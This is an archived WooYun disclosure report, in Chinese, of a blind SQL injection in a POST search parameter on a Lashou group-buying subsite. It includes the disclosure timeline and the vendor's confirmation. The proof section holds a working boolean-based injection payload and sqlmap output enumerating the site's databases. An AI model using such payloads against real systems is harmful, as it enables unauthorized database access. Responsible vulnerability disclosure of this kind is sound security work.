拉手团购某分站存在post注入

漏洞概要

缺陷编号:WooYun-2015-0104299

漏洞标题:拉手团购某分站存在post注入

相关厂商:拉手网

漏洞作者:路人甲

提交时间:2015-03-28 10:20

公开时间:2015-05-12 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2015-03-28: 细节已通知厂商并且等待厂商处理中
2015-03-28: 厂商已经确认,细节仅向厂商公开
2015-04-07: 细节向核心白帽子及相关领域专家公开
2015-04-17: 细节向普通白帽子公开
2015-04-27: 细节向实习白帽子公开
2015-05-12: 细节向公众公开

简要描述:

mysqlpost 无回显注入

详细说明:

问题站点,拉手联盟分站

1=1 返回正常,1=2跳转302

漏洞证明:

sqlmapidentified the following injection points with a total of 11 HTTP(s) requests:---Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: SearchForm[keyword]=' and 1=if(1=1 AND 1942=1942 ,1,(select 1 union select 2)) and '1'='1---[21:59:16] [INFO] testing MySQL[21:59:24] [INFO] confirming MySQL[21:59:39] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[21:59:39] [INFO] fetching database names[21:59:39] [INFO] fetching number of databases[21:59:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[21:59:39] [INFO] retrieved: 2[22:00:00] [INFO] retrieved: information_schema[22:09:58] [INFO] retrieved: adareavailable databases [2]:[*] adare[*] information_schema

修复方案:

过滤

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-2815:19

厂商回复:

问题已经告知研发.谢谢您的关注和无私的反馈.我们已经着手修改.万谢.

最新状态:

暂无

评价

  1. 2010-01-01 00:00 Soulmk 白帽子 | Rank:20 漏洞数:1)

    这注入语句~~~,学习了